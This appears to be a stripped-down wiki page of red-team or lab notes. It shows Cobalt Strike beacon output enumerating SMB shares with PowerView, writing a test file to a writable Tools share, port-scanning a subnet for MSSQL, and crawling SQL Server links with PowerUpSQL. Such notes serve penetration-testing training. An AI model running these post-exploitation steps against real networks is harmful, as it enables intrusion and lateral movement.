

# SMB

C\$ ADMIN\$

dev

C\$ ADMIN\$

PowerView

SMB

white-bird

SMB

Find-DomainShare

```

beacon> powershell Find-DomainShare
[*] Tasked beacon to run: Find-DomainShare
[+] host called home, sent: 325 bytes
[+] received output:
#< CLIXML

[+] received output:
Name                Type Remark                ComputerName
-----
ADMIN$              2147483648 Remote Admin             dc05.white-bird.local
C$                  2147483648 Default share            dc05.white-bird.local
IPC$                2147483651 Remote IPC               dc05.white-bird.local
NETLOGON            0 Logon server share     dc05.white-bird.local
SYSVOL              0 Logon server share     dc05.white-bird.local
ADMIN$              2147483648 Remote Admin             web02.white-bird.local
C$                  2147483648 Default share            web02.white-bird.local
IPC$                2147483651 Remote IPC               web02.white-bird.local

```

WEB02 C\$ ADMIN\$

serveradm WEB02

Find-DomainShare - CheckShareAccess

```

beacon> powershell Find-DomainShare -CheckShareAccess
[*] Tasked beacon to run: Find-DomainShare -CheckShareAccess
[+] host called home, sent: 373 bytes
[+] received output:
#< CLIXML

[+] received output:
Name           Type Remark           ComputerName
-----
NETLOGON       0 Logon server share dc05.white-bird.local
SYSVOL         0 Logon server share dc05.white-bird.local
ADMIN$         2147483648 Remote Admin       web02.white-bird.local
C$             2147483648 Default share      web02.white-bird.local

```

## PROD

```

beacon> powershell Find-DomainShare -domain prod.raven-med.local
[*] Tasked beacon to run: Find-DomainShare -domain prod.raven-med.local
[+] host called home, sent: 405 bytes
[+] received output:
#< CLIXML

[+] received output:
Name           Type Remark           ComputerName
-----
ADMIN$         2147483648 Remote Admin       dc01.prod.raven-med.local
C$             2147483648 Default share      dc01.prod.raven-med.local
IPC$          2147483651 Remote IPC         dc01.prod.raven-med.local
NETLOGON       0 Logon server share dc01.prod.raven-med.local
SYSVOL         0 Logon server share dc01.prod.raven-med.local
ADMIN$         2147483648 Remote Admin       file01.prod.raven-med.local
C$             2147483648 Default share      file01.prod.raven-med.local
IPC$          2147483651 Remote IPC         file01.prod.raven-med.local
Tools          0 Exchange compiled tools file01.prod.raven-med.local
ADMIN$         2147483648 Remote Admin       srv01.prod.raven-med.local
C$             2147483648 Default share      srv01.prod.raven-med.local
IPC$          2147483651 Remote IPC         srv01.prod.raven-med.local

```

## file01tools

```

beacon> powershell Find-DomainShare -domain prod.raven-med.local -checkshareaccess
[*] Tasked beacon to run: Find-DomainShare -domain prod.raven-med.local -checkshareaccess
[+] host called home, sent: 453 bytes
[+] received output:
#< CLIXML

[+] received output:
Name           Type Remark           ComputerName
-----
NETLOGON       0 Logon server share dc01.prod.raven-med.local
SYSVOL         0 Logon server share dc01.prod.raven-med.local
Tools          0 Exchange compiled tools file01.prod.raven-med.local

```

## serveradm

```

beacon> ls \\file01.prod.raven-med.local\Tools
[*] Tasked beacon to list files in \\file01.prod.raven-med.local\Tools
[+] host called home, sent: 65 bytes
[*] Listing: \\file01.prod.raven-med.local\Tools\

Size      Type      Last Modified      Name
----      -
290kb     fil       02/21/2020 19:00:26 KerberosConfigMgr.exe
1mb       fil       01/26/2023 19:34:31 powerupsql.ps1
27mb      fil       02/13/2023 15:40:46 py.exe

beacon> cd \\file01.prod.raven-med.local\Tools
[*] cd \\file01.prod.raven-med.local\Tools
[+] host called home, sent: 55 bytes
beacon> upload test.txt
[*] Tasked beacon to upload /opt/framework/cobaltstrike4.3/test.txt as test.txt
[+] host called home, sent: 32 bytes
beacon> ls
[*] Tasked beacon to list files in .
[+] host called home, sent: 31 bytes
[*] Listing: \\file01.prod.raven-med.local\Tools\

Size      Type      Last Modified      Name
----      -
290kb     fil       02/21/2020 19:00:26 KerberosConfigMgr.exe
1mb       fil       01/26/2023 19:34:31 powerupsql.ps1
27mb      fil       02/13/2023 15:40:46 py.exe
0b        fil       03/30/2023 15:11:50 test.txt

```

# MSSQL

MSSQL

SQL Server

1433 MSSQL

```

beacon> portscan 172.16.1.1/24 1433
[*] Tasked beacon to scan ports 1433 on 172.16.1.1/24
[+] host called home, sent: 93285 bytes
[+] received output:
(ICMP) Target '172.16.1.1' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.2' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.12' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.13' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.14' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.21' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.32' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.11' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.31' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.41' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.42' is alive. [read 8 bytes]

[+] received output:
(ICMP) Target '172.16.1.52' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.51' is alive. [read 8 bytes]
(ICMP) Target '172.16.1.53' is alive. [read 8 bytes]

[+] received output:
(ICMP) Target '172.16.1.255' is alive. [read 8 bytes]

[+] received output:
172.16.1.52:1433
172.16.1.42:1433
172.16.1.14:1433

[+] received output:
Scanner module is complete

```

3 MSSQL 172.16.1.14 172.16.1.42 172.16.1.52

PowerUpSql SQL 1 SQL Web02

Get-SQLInstanceDomain

```

beacon> powershell get-SQLInstanceDomain
[*] Tasked beacon to run: get-SQLInstanceDomain
[+] host called home, sent: 329 bytes
[+] received output:
#< CLIXML

ComputerName      : web02.white-bird.local
Instance          : web02.white-bird.local\SQL03
DomainAccountSid  : 15000005210002028885142130191505911819914521265600
DomainAccount     : sql_service
DomainAccountCn   : sql_service
Service           : MSSQLSvc
Spn                : MSSQLSvc/web02.white-bird.local:SQL03
LastLogon         : 3/30/2023 1:22 PM
Description       :

ComputerName      : web02.white-bird.local
Instance          : web02.white-bird.local,1433
DomainAccountSid  : 15000005210002028885142130191505911819914521265600
DomainAccount     : sql_service
DomainAccountCn   : sql_service
Service           : MSSQLSvc
Spn                : MSSQLSvc/web02.white-bird.local:1433
LastLogon         : 3/30/2023 1:22 PM
Description       :

```

Web02 SQL03

```
Get-SQLConnectionTest -Instance [  ]
```

```

beacon> powershell Get-SQLConnectionTest -Instance web02.white-bird.local\SQL03
[*] Tasked beacon to run: Get-SQLConnectionTest -Instance web02.white-bird.local\SQL03
[+] host called home, sent: 433 bytes
[+] received output:
#< CLIXML

ComputerName      Instance              Status
-----
web02.white-bird.local web02.white-bird.local\SQL03 Accessible

```

SQLSysadmin

SQL SPN

```
Get-SQLServerInfo -Instance [  ]
```

```

beacon> powershell Get-SQLServerInfo -Instance web02.white-bird.local\SQL03
[*] Tasked beacon to run: Get-SQLServerInfo -Instance web02.white-bird.local\SQL03
[+] host called home, sent: 421 bytes
[+] received output:
#< CLIXML

ComputerName      : web02.white-bird.local
Instance          : web02\SQL03
DomainName        : WHITE-BIRD
ServiceProcessID  : 2872
ServiceName       : MSSQL$SQL03
ServiceAccount    : white-bird\sql_service
AuthenticationMode : Windows and SQL Server Authentication
ForcedEncryption  : 0
Clustered         : No
SQLServerVersionNumber : 16.0.1000.6
SQLServerMajorVersion : 2022
SQLServerEdition  : Developer Edition (64-bit)
SQLServerServicePack : RTM
OSArchitecture    : X64
OsVersionNumber   : SQL
Currentlogin      : NT AUTHORITY\SYSTEM
IsSysadmin        : No
ActiveSessions    : 1

```

SQL                    SQL03      SRV02      SQL02

Get-SQLServerLinkCrawl -Instance [   ]

```

beacon> powershell Get-SQLServerLinkCrawl -Instance web02.white-bird.local\SQL03
[*] Tasked beacon to run: Get-SQLServerLinkCrawl -Instance web02.white-bird.local\SQL03
[+] host called home, sent: 437 bytes
[+] received output:
#< CLIXML

Version          : SQL Server 2022
Instance         : web02\SQL03
CustomQuery      :
Sysadmin         : 0
Path             : {web02\SQL03}
User             : NT AUTHORITY\SYSTEM
Links           : {SRV02}

Version          : SQL Server 2022
Instance         : srv02\SQL02
CustomQuery      :
Sysadmin         : 0
Path             : {web02\SQL03, SRV02}
User             : guest
Links           : {WEB02}

Version          : SQL Server 2022
Instance         : web02\SQL03
CustomQuery      :
Sysadmin         : 0
Path             : {web02\SQL03, SRV02, WEB02}
User             : guest
Links           : {SRV02}

Version          : SQL Server 2022
Instance         : srv02\SQL02

```

## IIS Exchange Jenkins

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Revision #8

Created 5 September 2022 03:04:42 by

Updated 30 March 2023 22:18:21 by